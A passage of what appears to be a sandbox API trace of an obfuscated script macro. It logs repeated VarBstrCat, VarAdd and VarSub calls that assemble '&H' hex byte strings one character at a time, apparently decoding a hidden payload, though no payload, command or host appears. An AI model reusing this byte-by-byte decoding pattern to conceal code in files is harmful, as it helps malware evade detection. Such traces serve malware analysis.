pbstrResult=0x197ab8) returned 0x0 [0086.411] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.411] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.411] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.411] VarBstrCat (in: bstrLeft="&H", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.411] VarBstrCat (in: bstrLeft="&H8", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.411] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.411] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.411] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.411] VarBstrCat (in: bstrLeft="&H", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.411] VarBstrCat (in: bstrLeft="&H2", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.411] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.411] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.411] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.412] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.412] VarBstrCat (in: bstrLeft="&H3", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.412] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.412] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.412] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.412] VarBstrCat (in: bstrLeft="&H", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.412] VarBstrCat (in: bstrLeft="&H1", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.412] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.412] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.412] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.412] VarBstrCat (in: bstrLeft="&H", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.412] VarBstrCat (in: bstrLeft="&H5", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.412] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.412] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.412] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.412] VarBstrCat (in: bstrLeft="&H", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.412] VarBstrCat (in: bstrLeft="&H5", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.412] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.412] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.413] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.413] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.413] VarBstrCat (in: bstrLeft="&Hb", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.413] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.413] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.413] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.413] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.413] VarBstrCat (in: bstrLeft="&Ha", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.413] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.413] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.413] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.413] VarBstrCat (in: bstrLeft="&H", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.413] VarBstrCat (in: bstrLeft="&Hd", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.413] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.413] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.413] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.413] VarBstrCat (in: bstrLeft="&H", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.413] VarBstrCat (in: bstrLeft="&H2", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.414] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.414] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.414] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.414] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.414] VarBstrCat (in: bstrLeft="&Hb", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.414] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.414] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.414] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.414] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.414] VarBstrCat (in: bstrLeft="&Hb", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.414] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.414] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.414] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.414] VarBstrCat (in: bstrLeft="&H", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.414] VarBstrCat (in: bstrLeft="&Hd", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.414] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.414] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.414] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.415] VarBstrCat (in: bstrLeft="&H", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.415] VarBstrCat (in: bstrLeft="&H8", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.415] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.415] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.415] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.415] VarBstrCat (in: bstrLeft="&H", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.415] VarBstrCat (in: bstrLeft="&Hd", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.415] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.415] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.415] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.415] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.415] VarBstrCat (in: bstrLeft="&H6", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.415] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.415] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.415] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.416] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.416] VarBstrCat (in: bstrLeft="&H6", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.416] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.416] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.416] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.416] VarBstrCat (in: bstrLeft="&H", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.416] VarBstrCat (in: bstrLeft="&H9", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.416] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.416] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.416] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.416] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.416] VarBstrCat (in: bstrLeft="&Hf", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.416] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.416] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.416] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.416] VarBstrCat (in: bstrLeft="&H", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.416] VarBstrCat (in: bstrLeft="&Hd", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.416] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.417] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.417] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.417] VarBstrCat (in: bstrLeft="&H", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.417] VarBstrCat (in: bstrLeft="&H9", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.417] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.417] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.417] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.417] VarBstrCat (in: bstrLeft="&H", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.417] VarBstrCat (in: bstrLeft="&H9", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.417] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.417] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.417] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.417] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.417] VarBstrCat (in: bstrLeft="&Ha", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.417] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.417] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.417] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.417] VarBstrCat (in: bstrLeft="&H", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.417] VarBstrCat (in: bstrLeft="&H1", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.418] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.418] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.418] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.418] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.418] VarBstrCat (in: bstrLeft="&H7", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.418] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.418] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.418] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.418] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.418] VarBstrCat (in: bstrLeft="&Hf", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.418] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.418] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.418] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.418] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.418] VarBstrCat (in: bstrLeft="&H6", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.418] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.418] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.418] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.419] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.419] VarBstrCat (in: bstrLeft="&Hb", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.419] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.419] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.419] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.419] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.419] VarBstrCat (in: bstrLeft="&Hf", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.419] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.419] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.419] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.419] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.419] VarBstrCat (in: bstrLeft="&Hc", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.419] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.419] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.419] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.419] VarBstrCat (in: bstrLeft="&H", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.419] VarBstrCat (in: bstrLeft="&H4", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.419] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.420] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.420] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.420] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.420] VarBstrCat (in: bstrLeft="&Hf", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.420] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.420] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.420] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.420] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.420] VarBstrCat (in: bstrLeft="&H3", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.420] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.420] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.420] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.420] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.420] VarBstrCat (in: bstrLeft="&H0", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.420] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.420] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.420] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.421] VarBstrCat (in: bstrLeft="&H", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.421] VarBstrCat (in: bstrLeft="&H5", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.421] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.421] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.421] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.421] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.421] VarBstrCat (in: bstrLeft="&H7", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.421] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.421] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.421] VarBstrCat (in: bstrLeft="&H", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.421] VarBstrCat (in: bstrLeft="&H4", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.421] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.421] VarBstrCat (in: bstrLeft="&H", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.421] VarBstrCat (in: bstrLeft="&He", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.422] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.422] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.422] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.422] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.422] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.422] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.422] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.422] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.422] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.422] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.422] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.422] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.422] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.422] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.422] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.422] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.422] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.422] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.422] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.422] VarSub (in: 